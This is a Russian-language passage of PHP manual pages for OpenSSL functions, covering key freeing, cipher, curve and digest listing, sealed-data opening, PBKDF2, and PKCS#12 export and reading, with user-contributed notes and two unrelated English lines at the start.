A) That's their problem
B) Look for a new library, because NOT doing that means they aren't writing their code properly.


Высвобождение ресурса ключа

  • « openssl_error_string
  • openssl_get_cert_locations »
  • PHP Manual
  • Функции OpenSSL
  • Высвобождение ресурса ключа

openssl_free_key

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

openssl_free_key — Высвобождение ресурса ключа

Внимание

Эта функция была УДАЛЕНА в PHP 8.0.0. Использование этой функции не рекомендуется.

Описание

openssl_free_key(OpenSSLAsymmetricKey $key): void

openssl_free_key() удаляет ключ, связанный с заданным идентификатором key из памяти.

Список параметров

key

Возвращаемые значения

Функция не возвращает значения после выполнения.

Список изменений

Версия | Описание
8.0.0 | Функция устарела, так как больше не имеет смысла.
8.0.0 | key теперь принимает OpenSSLAsymmetricKey; ранее принимала ресурс (resource) типа OpenSSL key.

User Contributed Notes

CIIDMike[at]Bweb1dev3 24-Dec-2020 01:01
PHP 8.0 Deprecated:  Function openssl_free_key() is deprecated
Lawri van Bul 10-Nov-2017 11:05
I just checked the code for PHP 7.1 and in there openssl_free_key is an alias for opnessl_pkey_free (PHP_FALIAS).

This supports Richards assumption.

I would also suggest to not use the alias,
but use the openssl_pkey_free function in new code.

This is because it is more descriptive about what its intend is and is the same structure as similar function in the openssl section.
Richard Lynch 17-Jul-2013 03:44
openssl_free_key and openssl_pkey_free are probably aliases.

And the preferred one is probably openssl_pkey_free.


Получить доступные месторасположения сертификатов

  • « openssl_free_key
  • openssl_get_cipher_methods »
  • PHP Manual
  • Функции OpenSSL
  • Получить доступные месторасположения сертификатов

openssl_get_cert_locations

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

openssl_get_cert_locations — Получить доступные месторасположения сертификатов

Описание

openssl_get_cert_locations(): array

openssl_get_cert_locations() возвращает массив с информацией о доступных хранилищах, в которых будет происходить поиск SSL сертификатов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает массив с месторасположением хранилищ сертификатов.

Примеры

Пример #1 Пример использования openssl_get_cert_locations()

<?php
var_dump(openssl_get_cert_locations());
?>

Результат выполнения данного примера:

array(8) {
  ["default_cert_file"]=>
  string(21) "/usr/lib/ssl/cert.pem"
  ["default_cert_file_env"]=>
  string(13) "SSL_CERT_FILE"
  ["default_cert_dir"]=>
  string(18) "/usr/lib/ssl/certs"
  ["default_cert_dir_env"]=>
  string(12) "SSL_CERT_DIR"
  ["default_private_dir"]=>
  string(20) "/usr/lib/ssl/private"
  ["default_default_cert_area"]=>
  string(12) "/usr/lib/ssl"
  ["ini_cafile"]=>
  string(0) ""
  ["ini_capath"]=>
  string(0) ""
}

User Contributed Notes

There are no user contributed notes for this page.


Получить список доступных алгоритмов шифрования

  • « openssl_get_cert_locations
  • openssl_get_curve_names »
  • PHP Manual
  • Функции OpenSSL
  • Получить список доступных алгоритмов шифрования

openssl_get_cipher_methods

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

openssl_get_cipher_methods — Получить список доступных алгоритмов шифрования

Описание

openssl_get_cipher_methods(bool $aliases = false): array

Возвращает список доступных алгоритмов шифрования.

Список параметров

aliases

Если хотите включить псевдонимы шифров в возвращаемый массив, то установите этот параметр в значение true.

Возвращаемые значения

Массив (array) доступных методов шифрования. Обратите внимание, что до OpenSSL 1.1.1 методы шифрования возвращались в верхнем и нижнем регистре; с OpenSSL 1.1.1 возвращаются только строчные варианты.

Примеры

Пример #1 Пример использования openssl_get_cipher_methods()

Показывает, как могут выглядеть доступные шифры и их псевдонимы.

<?php
$ciphers = openssl_get_cipher_methods();
$ciphers_and_aliases = openssl_get_cipher_methods(true);
$cipher_aliases = array_diff($ciphers_and_aliases, $ciphers);

//Режим ECB следует избегать
$ciphers = array_filter( $ciphers, function($n) { return stripos($n,"ecb")===FALSE; } );

//По крайней мере, в начале августа 2016 года следующие методы объявлены слабыми:
$ciphers = array_filter( $ciphers, function($c) { return stripos($c,"des")===FALSE; } );
$ciphers = array_filter( $ciphers, function($c) { return stripos($c,"rc2")===FALSE; } );
$ciphers = array_filter( $ciphers, function($c) { return stripos($c,"rc4")===FALSE; } );
$ciphers = array_filter( $ciphers, function($c) { return stripos($c,"md5")===FALSE; } );
$cipher_aliases = array_filter($cipher_aliases,function($c) { return stripos($c,"des")===FALSE; } );
$cipher_aliases = array_filter($cipher_aliases,function($c) { return stripos($c,"rc2")===FALSE; } );

print_r($ciphers);
print_r($cipher_aliases);
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => aes-128-cbc
    [1] => aes-128-cbc-hmac-sha1
    [2] => aes-128-cbc-hmac-sha256
    [3] => aes-128-ccm
    [4] => aes-128-cfb
    [5] => aes-128-cfb1
    [6] => aes-128-cfb8
    [7] => aes-128-ctr
    [9] => aes-128-gcm
    [10] => aes-128-ocb
    [11] => aes-128-ofb
    [12] => aes-128-xts
    [13] => aes-192-cbc
    [14] => aes-192-ccm
    [15] => aes-192-cfb
    [16] => aes-192-cfb1
    [17] => aes-192-cfb8
    [18] => aes-192-ctr
    [20] => aes-192-gcm
    [21] => aes-192-ocb
    [22] => aes-192-ofb
    [23] => aes-256-cbc
    [24] => aes-256-cbc-hmac-sha1
    [25] => aes-256-cbc-hmac-sha256
    [26] => aes-256-ccm
    [27] => aes-256-cfb
    [28] => aes-256-cfb1
    [29] => aes-256-cfb8
    [30] => aes-256-ctr
    [32] => aes-256-gcm
    [33] => aes-256-ocb
    [34] => aes-256-ofb
    [35] => aes-256-xts
    [36] => aria-128-cbc
    [37] => aria-128-ccm
    [38] => aria-128-cfb
    [39] => aria-128-cfb1
    [40] => aria-128-cfb8
    [41] => aria-128-ctr
    [43] => aria-128-gcm
    [44] => aria-128-ofb
    [45] => aria-192-cbc
    [46] => aria-192-ccm
    [47] => aria-192-cfb
    [48] => aria-192-cfb1
    [49] => aria-192-cfb8
    [50] => aria-192-ctr
    [52] => aria-192-gcm
    [53] => aria-192-ofb
    [54] => aria-256-cbc
    [55] => aria-256-ccm
    [56] => aria-256-cfb
    [57] => aria-256-cfb1
    [58] => aria-256-cfb8
    [59] => aria-256-ctr
    [61] => aria-256-gcm
    [62] => aria-256-ofb
    [63] => bf-cbc
    [64] => bf-cfb
    [66] => bf-ofb
    [67] => camellia-128-cbc
    [68] => camellia-128-cfb
    [69] => camellia-128-cfb1
    [70] => camellia-128-cfb8
    [71] => camellia-128-ctr
    [73] => camellia-128-ofb
    [74] => camellia-192-cbc
    [75] => camellia-192-cfb
    [76] => camellia-192-cfb1
    [77] => camellia-192-cfb8
    [78] => camellia-192-ctr
    [80] => camellia-192-ofb
    [81] => camellia-256-cbc
    [82] => camellia-256-cfb
    [83] => camellia-256-cfb1
    [84] => camellia-256-cfb8
    [85] => camellia-256-ctr
    [87] => camellia-256-ofb
    [88] => cast5-cbc
    [89] => cast5-cfb
    [91] => cast5-ofb
    [92] => chacha20
    [93] => chacha20-poly1305
    [111] => id-aes128-CCM
    [112] => id-aes128-GCM
    [113] => id-aes128-wrap
    [114] => id-aes128-wrap-pad
    [115] => id-aes192-CCM
    [116] => id-aes192-GCM
    [117] => id-aes192-wrap
    [118] => id-aes192-wrap-pad
    [119] => id-aes256-CCM
    [120] => id-aes256-GCM
    [121] => id-aes256-wrap
    [122] => id-aes256-wrap-pad
    [124] => idea-cbc
    [125] => idea-cfb
    [127] => idea-ofb
    [137] => seed-cbc
    [138] => seed-cfb
    [140] => seed-ofb
    [141] => sm4-cbc
    [142] => sm4-cfb
    [143] => sm4-ctr
    [145] => sm4-ofb
)
Array
(
    [36] => aes128
    [37] => aes128-wrap
    [38] => aes192
    [39] => aes192-wrap
    [40] => aes256
    [41] => aes256-wrap
    [69] => aria128
    [70] => aria192
    [71] => aria256
    [72] => bf
    [77] => blowfish
    [99] => camellia128
    [100] => camellia192
    [101] => camellia256
    [102] => cast
    [103] => cast-cbc
    [146] => idea
    [164] => seed
    [169] => sm4
)

Смотрите также

  • openssl_get_md_methods() - Получить список доступных методов хеширования

User Contributed Notes

There are no user contributed notes for this page.


Список доступных имён кривых для ECC

  • « openssl_get_cipher_methods
  • openssl_get_md_methods »
  • PHP Manual
  • Функции OpenSSL
  • Список доступных имён кривых для ECC

openssl_get_curve_names

(PHP 7 >= 7.1.0, PHP 8)

openssl_get_curve_names — Список доступных имён кривых для ECC

Описание

openssl_get_curve_names(): array|false

Возвращает список доступных имён кривых для использования в эллиптической криптографии (ECC) для операций с открытым/закрытым ключом. Две наиболее стандартизованных/поддерживаемых кривых: prime256v1 (NIST P-256) и secp384r1 (NIST P-384).

Приближенные эквивалентности размеров ключей AES, RSA, DSA и ECC
AES размер симметричного ключа (Биты) | Размер ключа RSA и DSA (Биты) | Размер ключа ECC (Биты)
80 | 1024 | 160
112 | 2048 | 224
128 | 3072 | 256
192 | 7680 | 384
256 | 15360 | 512
» NIST рекомендует использовать кривые ECC как минимум в 256 бит.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Массив с доступными именами кривых или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования openssl_get_curve_names()

<?php
$curve_names = openssl_get_curve_names();
print_r($curve_names);
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => secp112r1
    [1] => secp112r2
    [2] => secp128r1
    [3] => secp128r2
    [4] => secp160k1
    [5] => secp160r1
    [6] => secp160r2
    [7] => secp192k1
    [8] => secp224k1
    [9] => secp224r1
    [10] => secp256k1
    [11] => secp384r1
    [12] => secp521r1
    [13] => prime192v1
    [14] => prime192v2
    [15] => prime192v3
    [16] => prime239v1
    [17] => prime239v2
    [18] => prime239v3
    [19] => prime256v1
    [20] => sect113r1
    [21] => sect113r2
    [22] => sect131r1
    [23] => sect131r2
    [24] => sect163k1
    [25] => sect163r1
    [26] => sect163r2
    [27] => sect193r1
    [28] => sect193r2
    [29] => sect233k1
    [30] => sect233r1
    [31] => sect239k1
    [32] => sect283k1
    [33] => sect283r1
    [34] => sect409k1
    [35] => sect409r1
    [36] => sect571k1
    [37] => sect571r1
    [38] => c2pnb163v1
    [39] => c2pnb163v2
    [40] => c2pnb163v3
    [41] => c2pnb176v1
    [42] => c2tnb191v1
    [43] => c2tnb191v2
    [44] => c2tnb191v3
    [45] => c2pnb208w1
    [46] => c2tnb239v1
    [47] => c2tnb239v2
    [48] => c2tnb239v3
    [49] => c2pnb272w1
    [50] => c2pnb304w1
    [51] => c2tnb359v1
    [52] => c2pnb368w1
    [53] => c2tnb431r1
    [54] => wap-wsg-idm-ecid-wtls1
    [55] => wap-wsg-idm-ecid-wtls3
    [56] => wap-wsg-idm-ecid-wtls4
    [57] => wap-wsg-idm-ecid-wtls5
    [58] => wap-wsg-idm-ecid-wtls6
    [59] => wap-wsg-idm-ecid-wtls7
    [60] => wap-wsg-idm-ecid-wtls8
    [61] => wap-wsg-idm-ecid-wtls9
    [62] => wap-wsg-idm-ecid-wtls10
    [63] => wap-wsg-idm-ecid-wtls11
    [64] => wap-wsg-idm-ecid-wtls12
    [65] => Oakley-EC2N-3
    [66] => Oakley-EC2N-4
    [67] => brainpoolP160r1
    [68] => brainpoolP160t1
    [69] => brainpoolP192r1
    [70] => brainpoolP192t1
    [71] => brainpoolP224r1
    [72] => brainpoolP224t1
    [73] => brainpoolP256r1
    [74] => brainpoolP256t1
    [75] => brainpoolP320r1
    [76] => brainpoolP320t1
    [77] => brainpoolP384r1
    [78] => brainpoolP384t1
    [79] => brainpoolP512r1
    [80] => brainpoolP512t1
)

User Contributed Notes

There are no user contributed notes for this page.


Получить список доступных методов хеширования

  • « openssl_get_curve_names
  • openssl_get_privatekey »
  • PHP Manual
  • Функции OpenSSL
  • Получить список доступных методов хеширования

openssl_get_md_methods

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

openssl_get_md_methods — Получить список доступных методов хеширования

Описание

openssl_get_md_methods(bool $aliases = false): array

Возвращает список доступных методов хеширования.

Список параметров

aliases

Если хотите, чтобы в результирующий массив были также включены псевдонимы, то установите этот параметр в значение true.

Возвращаемые значения

Массив с доступными методами хеширования.

Примеры

Пример #1 Пример использования openssl_get_md_methods()

Показывает, как могут выглядеть доступные методы хеширования и их псевдонимы.

<?php
$digests = openssl_get_md_methods();
$digests_and_aliases = openssl_get_md_methods(true);
$digest_aliases = array_diff($digests_and_aliases, $digests);

print_r($digests);

print_r($digest_aliases);

?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => DSA
    [1] => DSA-SHA
    [2] => MD2
    [3] => MD4
    [4] => MD5
    [5] => RIPEMD160
    [6] => SHA
    [7] => SHA1
    [8] => SHA224
    [9] => SHA256
    [10] => SHA384
    [11] => SHA512
    [12] => dsaEncryption
    [13] => dsaWithSHA
    [14] => ecdsa-with-SHA1
    [15] => md2
    [16] => md4
    [17] => md5
    [18] => ripemd160
    [19] => sha
    [20] => sha1
    [21] => sha224
    [22] => sha256
    [23] => sha384
    [24] => sha512
)
Array
(
    [2] => DSA-SHA1
    [3] => DSA-SHA1-old
    [4] => DSS1
    [9] => RSA-MD2
    [10] => RSA-MD4
    [11] => RSA-MD5
    [12] => RSA-RIPEMD160
    [13] => RSA-SHA
    [14] => RSA-SHA1
    [15] => RSA-SHA1-2
    [16] => RSA-SHA224
    [17] => RSA-SHA256
    [18] => RSA-SHA384
    [19] => RSA-SHA512
    [28] => dsaWithSHA1
    [29] => dss1
    [32] => md2WithRSAEncryption
    [34] => md4WithRSAEncryption
    [36] => md5WithRSAEncryption
    [37] => ripemd
    [39] => ripemd160WithRSA
    [40] => rmd160
    [43] => sha1WithRSAEncryption
    [45] => sha224WithRSAEncryption
    [47] => sha256WithRSAEncryption
    [49] => sha384WithRSAEncryption
    [51] => sha512WithRSAEncryption
    [52] => shaWithRSAEncryption
    [53] => ssl2-md5
    [54] => ssl3-md5
    [55] => ssl3-sha1
)

Смотрите также

  • openssl_digest() - Вычисление дайджеста
  • openssl_get_cipher_methods() - Получить список доступных алгоритмов шифрования

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним openssl_pkey_get_private

  • « openssl_get_md_methods
  • openssl_get_publickey »
  • PHP Manual
  • Функции OpenSSL
  • Псевдоним openssl_pkey_get_private

openssl_get_privatekey

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

openssl_get_privatekey — Псевдоним openssl_pkey_get_private()

Описание

Функция является псевдонимом: openssl_pkey_get_private().

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним openssl_pkey_get_public

  • « openssl_get_privatekey
  • openssl_open »
  • PHP Manual
  • Функции OpenSSL
  • Псевдоним openssl_pkey_get_public

openssl_get_publickey

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

openssl_get_publickey — Псевдоним openssl_pkey_get_public()

Описание

Функция является псевдонимом: openssl_pkey_get_public().

User Contributed Notes

There are no user contributed notes for this page.


Открыть запечатанные данные

  • « openssl_get_publickey
  • openssl_pbkdf2 »
  • PHP Manual
  • Функции OpenSSL
  • Открыть запечатанные данные

openssl_open

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

openssl_open — Открыть запечатанные данные

Описание

openssl_open(
string $data,
string &$output,
string $encrypted_key,
OpenSSLAsymmetricKey|OpenSSLCertificate|array|string $private_key,
string $cipher_algo,
?string $iv = null
): bool

openssl_open() открывает (дешифрует) data, используя секретный ключ, связанный с идентификатором private_key и ключ обёртки encrypted_key, и заполняет output расшифрованными данными. Ключ обёртки создаётся при запечатывании данных и может использоваться только с одним единственным секретным ключом. Более подробно можно прочитать на странице описания функции openssl_seal().

Список параметров

data

output

При удачном завершении, переменная переданная в этом параметре будет содержать открытые данные.

encrypted_key

private_key

cipher_algo

Метод шифрования.

Предостережение

Значение по умолчанию ('RC4') считается небезопасным. Настоятельно рекомендуется явно указывать метод безопасного шифрования.

iv

Инициализирующий вектор.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | private_key теперь принимает экземпляр OpenSSLAsymmetricKey или OpenSSLCertificate; ранее принимался ресурс (resource) типа OpenSSL key или OpenSSL X.509 CSR.
8.0.0 | cipher_algo больше не является необязательным параметром.

Примеры

Пример #1 Пример использования openssl_open()

<?php
// Предположим, что $sealed и $env_key содержат закрытые данные и
// ключ обёртки соответственно

// Извлекаем секретный ключ из файла
$fp = fopen("/src/openssl-0.9.6/demos/sign/key.pem", "r");
$priv_key = fread($fp, 8192);
fclose($fp);
$pkeyid = openssl_get_privatekey($priv_key);

// расшмфровываем данные и складываем их в $open
if (openssl_open($sealed, $open, $env_key, $pkeyid)) {
echo "Расшифрованные данные: ", $open;
} else {
echo "Что-то пошло не так :(";
}

// Высвобождаем ресурс приватнного ключа
openssl_free_key($pkeyid);
?>

Смотрите также

  • openssl_seal() - Запечатать (зашифровать) данные

User Contributed Notes

sdc 25-Jun-2011 02:31
PHP compiled without OpenSSL support? Here's how you can call the openssl command-line utility to achieve the same goal:

<?php
// $sealed and $env_key are assumed to contain the sealed data
// and our envelope key, both given to us by the sealer.

// specify private key file and passphrase
$pkey_file='key.pem';
$pkey_pp='netsvc';

// call openssl to decrypt envelope key
$ph=proc_open('openssl rsautl -decrypt -inkey '.
 escapeshellarg($pkey_file).' -passin fd:3',array(
  0 => array('pipe','r'), // stdin < envelope key
  1 => array('pipe','w'), // stdout > decoded envelope key
  2 => STDERR,
  3 => array('pipe','r'), // < passphrase
 ),$pipes);
// write envelope key
fwrite($pipes[0],$env_key);
fclose($pipes[0]);
// write private key passphrase
fwrite($pipes[3],$pkey_pp);
fclose($pipes[3]);
// read decoded key, convert to hexadecimal
$env_key='';
while(!feof($pipes[1])){
  $env_key.=sprintf("%02x",ord(fgetc($pipes[1])));
}
fclose($pipes[1]);
if($xc=proc_close($ph)){
  echo "Exit code: $xc\n";
}

// call openssl to decryp
$ph=proc_open('openssl rc4 -d -iv 0 -K '.$env_key,array(
  0 => array('pipe','r'), // stdin < sealed data
  1 => array('pipe','w'), // stdout > opened data
  2 => STDERR,
 ),$pipes);
// write sealed data
fwrite($pipes[0],$sealed);
fclose($pipes[0]);
// read opened data
//$open=stream_get_contents($pipes[1]);
$open='';
while(!feof($pipes[1])){
  $open.=fgets($pipes[1]);
}
fclose($pipes[1]);
if($xc=proc_close($ph)){
  echo "Exit code: $xc\n";
}

// display the decrypted data
echo $open;

?>
Gareth Owen 17-Feb-2009 08:20
Example code, assume mycert.pem is a certificate containing both private and public key.

$cert = file_get_contents("mycert.pem");

$public = openssl_get_publickey($cert);
$private = openssl_get_privatekey($cert);

$data = "I'm a lumberjack and I'm okay.";

echo "Data before: {$data}\n";
openssl_seal($data, $cipher, $e, array($public));

echo "Ciphertext: {$cipher}\n";

openssl_open($cipher, $open, $e[0], $private);
echo "Decrypted: {$open}\n";


Генерирует строки PKCS5 v2 PBKDF2

  • « openssl_open
  • openssl_pkcs12_export_to_file »
  • PHP Manual
  • Функции OpenSSL
  • Генерирует строки PKCS5 v2 PBKDF2

openssl_pbkdf2

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

openssl_pbkdf2 — Генерирует строки PKCS5 v2 PBKDF2

Описание

openssl_pbkdf2(
string $password,
string $salt,
int $key_length,
int $iterations,
string $digest_algo = "sha1"
): string|false

openssl_pbkdf2() вычисляет PBKDF2 (Password-Based Key Derivation Function 2), функцию деривации ключа, определённую в PKCS5 v2.

Список параметров

password

Пароль, из которого будет сгенерирован ключ.

salt

PBKDF2 рекомендует использовать криптографическую соль как минимум 64 бита (8 байт) длиной.

key_length

Длина генерируемого ключа.

iterations

Количество итераций. » NIST рекомендует как минимум 10,000.

digest_algo

Опциональный алгоритм хеширования полученный из openssl_get_md_methods(). По умолчанию SHA-1.

Возвращаемые значения

Возвращает необработанную бинарную строку или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования openssl_pbkdf2()

<?php
$password = 'password';
$salt = openssl_random_pseudo_bytes(16);
$keyLength = 20;
$iterations = 600000;
$generated_key = openssl_pbkdf2($password, $salt, $keyLength, $iterations, 'sha256');
echo bin2hex($generated_key)."\n";
echo base64_encode($generated_key)."\n";
?>

Смотрите также

  • hash_pbkdf2() - Формирования ключа PBKDF2 для заданных входных данных
  • openssl_get_md_methods() - Получить список доступных методов хеширования

User Contributed Notes

McGlockenshire 20-Mar-2014 08:10
Despite the manual claiming that this is available in PHP 5.5 and above, this function wasn't made available in my local install.

I expect that having a prehistoric OpenSSL library version installed is the likely culprit.

If you're using PHP 5.5 and don't have this function available in your OpenSSL extension, look at the functionally equivalent hash_pbkdf2 function instead.


Экспортирует в совместимый с PKCS#12 файл хранилища сертификатов

  • « openssl_pbkdf2
  • openssl_pkcs12_export »
  • PHP Manual
  • Функции OpenSSL
  • Экспортирует в совместимый с PKCS#12 файл хранилища сертификатов

openssl_pkcs12_export_to_file

(PHP 5 >= 5.2.2, PHP 7, PHP 8)

openssl_pkcs12_export_to_file — Экспортирует в совместимый с PKCS#12 файл хранилища сертификатов

Описание

openssl_pkcs12_export_to_file(
OpenSSLCertificate|string $certificate,
string $output_filename,
OpenSSLAsymmetricKey|OpenSSLCertificate|array|string $private_key,
string $passphrase,
array $options = []
): bool

openssl_pkcs12_export_to_file() сохраняет certificate в файл output_filename в формате PKCS#12.

Список параметров

x509

Для списка корректных значений смотрите Параметры ключей/сертификатов.

output_filename

Путь до файла.

private_key

Закрытый компонент ключа файла PKCS#12. Допустимые значения смотрите Параметры закрытого/открытого ключа.

passphrase

Пароль для разблокировки файла PKCS#12.

options

Массив опций. Не описанные здесь ключи будут проигнорированы.

Ключ | Описание
"extracerts" | массив дополнительных сертификатов или один сертификат для включения в файл PKCS#12.
"friendly_name" | строка для использования сертификатом и ключом

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | certificate теперь принимает экземпляр OpenSSLCertificate; ранее принимался ресурс (resource) типа OpenSSL X.509 CSR.
8.0.0 | private_key теперь принимает экземпляр OpenSSLAsymmetricKey или OpenSSLCertificate; ранее принимался ресурс (resource) типа OpenSSL key или OpenSSL X.509.

User Contributed Notes

greejd 27-Jan-2019 06:51
please note
the key 'friendlyname' should be 'friendly_name' in args

$args = array(
        'friendly_name'=> 'www.example.com'
);
lampacz at gmail dot com 02-Jul-2009 01:13
[, array $args ]  can contain only: extracerts, friendly_name

extracerts - additional certificates (can be file or string)
friendly_name - "friendly name" for the certificate and private key. This name is typically displayed in list boxes by software importing the file.

based on source code version 5.2.8 and pkcs12 man page


Экспортирует совместимый с PKCS#12 файл хранилища сертификатов в переменную

  • « openssl_pkcs12_export_to_file
  • openssl_pkcs12_read »
  • PHP Manual
  • Функции OpenSSL
  • Экспортирует совместимый с PKCS#12 файл хранилища сертификатов в переменную

openssl_pkcs12_export

(PHP 5 >= 5.2.2, PHP 7, PHP 8)

openssl_pkcs12_export — Экспортирует совместимый с PKCS#12 файл хранилища сертификатов в переменную

Описание

openssl_pkcs12_export(
OpenSSLCertificate|string $certificate,
string &$output,
OpenSSLAsymmetricKey|OpenSSLCertificate|array|string $private_key,
string $passphrase,
array $options = []
): bool

openssl_pkcs12_export() сохраняет x509 в переменную out в формате PKCS#12.

Список параметров

x509

Для списка корректных значений смотрите Параметры ключей/сертификатов.

output

В случае успешного выполнения будет содержать PKCS#12.

private_key

Компонент закрытого ключа файла PKCS#12. Список допустимых значений смотрите на странице параметров открытого/закрытого ключа.

passphrase

Пароль для шифрования файла PKCS#12.

options

Массив опций. Не описанные здесь ключи будут проигнорированы.

Ключ | Описание
"extracerts" | массив дополнительных сертификатов или один сертификат для включения в файл PKCS#12.
"friendly_name" | строка для использования сертификатом и ключом

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | certificate теперь принимает экземпляр OpenSSLCertificate; ранее принимался ресурс (resource) типа OpenSSL X.509 CSR.
8.0.0 | private_key теперь принимает экземпляр OpenSSLAsymmetricKey или OpenSSLCertificate; ранее принимался ресурс (resource) типа OpenSSL key или OpenSSL X.509.

User Contributed Notes

Robert 15-May-2014 05:36
If you need to provide multiple additional certificates, the 'extracerts' argument needs to be an array with one certificate per element:
<?php
$args = array(
    'extracerts' => array(
        0 => '-----BEGIN CERTIFICATE----- cert1 ...',
        1 => '-----BEGIN CERTIFICATE----- cert2 ...',
        // ...
        )
    );
?>

You can use this to prepare a PEM.

<?php
$pemChain = '...';
preg_match_all('/(-----BEGIN CERTIFICATE-----.*?-----END CERTIFICATE-----)/si', $pemChain, $matches);
$args = array('extracerts' => $matches[0]);
openssl_pkcs12_export($signed_csr, $cerificate_out, $private_key_resource, $passphrase, $args);
?>
ismael at privasy dot org 24-Apr-2014 09:38
in order to export a private key to pkcs12 format, the input certificate must contain both private and associated public key in PEM format ,

-----BEGIN RSA PRIVATE KEY-----
-----END RSA PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
-----END CERTIFICATE-----

else this function might return the following error "openssl_pkcs12_export(): cannot get cert from parameter 1"
Anonymous 29-Nov-2013 12:24
If you want to include CA-Certificates in the PKCS12 it can be accomplished by using the $args parameter.
<?php
$args = array(
               'extracerts' => $CAcert,
               'friendly_name' => 'My signed cert by CA certificate'
              );
openssl_pkcs12_export($signed_csr, $cerificate_out, $private_key_resource, $passphrase, $args);
?>
mryom 29-Mar-2011 11:01
Example:

<?php
$key = openssl_pkey_get_private(Private_Key, Password);

openssl_pkcs12_export(Certificate, $iis, $key, Password);
?>
simoncpu was here 11-May-2010 02:28
If your certificate is not password-protected, just use null or a blank string.  Otherwise, this function won't work.


Разбирает хранилище сертификатов PKCS#12 в массив

  • « openssl_pkcs12_export
  • openssl_pkcs7_decrypt »
  • PHP Manual
  • Функции OpenSSL
  • Разбирает хранилище сертификатов PKCS#12 в массив

openssl_pkcs12_read

(PHP 5 >= 5.2.2, PHP 7, PHP 8)

openssl_pkcs12_read — Разбирает хранилище сертификатов PKCS#12 в массив

Описание

openssl_pkcs12_read(string $pkcs12, array &$certificates, string $passphrase): bool

openssl_pkcs12_read() разбирает хранилище сертификатов PKCS#12, заданное в pkcs12 и помещает в массив certificates.

Список параметров

pkcs12

Содержимое хранилища сертификатов, а не его имя файла.

certificates

В случае успешного выполнения будет содержать данные хранилища сертификата (Certificate Store Data).

passphrase

Пароль для расшифровки файла PKCS#12.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования openssl_pkcs12_read()

<?php
if (!$cert_store = file_get_contents("/certs/file.p12")) {
echo "Ошибка: невозможно прочитать файл сертификата\n";
exit;
}

if (openssl_pkcs12_read($cert_store, $cert_info, "my_secret_pass")) {
echo "Информация об сертификате\n";
print_r($cert_info);
} else {
echo "Ошибка: невозможно прочитать хранилище сертификата.\n";
exit;
}
?>

User Contributed Notes

at jornane.no 06-Nov-2023 09:45
In response to Rovinson (https://www.php.net/manual/en/function.openssl-pkcs12-read.php#128854):

> In PHP versions 8.2.6 and 8.2.7, OpenSSL 1.1.1 is still utilized.
> However, starting from PHP version 8.2.8 onwards, OpenSSL 3.0.9 is employed.

This is not correct; Debian 12 currently uses PHP 8.2.7, yet it does use OpenSSL 3.0.11. So for a version check, I would rather target PHP 8.2+.
rrequalwt 01-Nov-2023 08:47
Instead of enabling legacy providers for your private key container to work with openssl3 one can simply repack the container using recent openssl

openssl pkcs12 -legacy -in key.p12 -nodes -out key_decrypted.tmp

openssl pkcs12 -in key_decrypted.tmp -export -out key_new.p12
fran at fran dot cr 11-Oct-2023 12:10
Since OpenSSL 3, this function will fail with .p12 files that use legacy ciphers. Unfortunately, .p12 files generated today from a lot of Windows based CAs are using them by default.

OpenSSL 3 uses a provider mechanism where there is a legacy provider that supports these legacy ciphers, but it is disabled by default.

While PHP SSL module lacks a mechanism to enable the legacy provider, you need to modify the openssl.conf used by PHP by hand, it is usually the same used by the system openssl command, so the OPENSSLDIR path value returned by the "openssl version -d" command contains the openssl.conf file to modify. The llines that need to be added, modified or uncommented are the following to look like this:

openssl_conf = openssl_init

[openss_init]
providers = provider_sect

[provider_sect]
default = default_sect
legacy = legacy_sect

[default_sect]
activate = 1

[legacy_sect]
activate = 1

This may require restarting the involved php service (php-fpm usually) to load the OpenSSL configuration changes.
InvisibleSmiley 28-Sep-2023 09:14
It really seems to depend on the OpenSSL version only. I checked:

OpenSSL 1:
- Linux Sury PHP 8.1 and 8.2
- Windows (according to what Anonymous reported here)

OpenSSL 3:
- Linux Ubuntu jammy (22.04 LTS) PHP 8.1
- Mac OS Homebrew PHP 8.1 and 8.2
Rovinson 04-Sep-2023 02:21
In response to Anonymous' note:(https://www.php.net/manual/es/function.openssl-pkcs12-read.php#128819)

In PHP versions 8.2.6 and 8.2.7, OpenSSL 1.1.1 is still utilized. However, starting from PHP version 8.2.8 onwards, OpenSSL 3.0.9 is employed.

I have conducted tests, and the function works correctly with all PHP versions using OpenSSL 1, but it fails with OpenSSL 3 versions.
Also Anonymous 22-Aug-2023 01:52
In response to Anonymous' note:(https://www.php.net/manual/en/function.openssl-pkcs12-read.php#128790)

I'm using 8.2.6 on Windows and this function is working without issue.
Anonymous 11-Aug-2023 11:02
The openssl_pkcs12_read method does not work in PHP 8.2 due to the change in the OpenSSL library from version ^1 to ^3.


Расшифровать сообщение, зашифрованное S/MIME

  • « openssl_pkcs12_read
  • openssl_pkcs7_encrypt »
  • PHP Manual
  • Функции OpenSSL
  • Расшифровать сообщение, зашифрованное S/MIME

openssl_pkcs7_decrypt

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

openssl_pkcs7_decrypt — Расшифровать сообщение, зашифрованное S/MIME

Описание

openssl_pkcs7_decrypt(
string $input_filename,
string $output_filename,
OpenSSLCertificate|string $certificate,
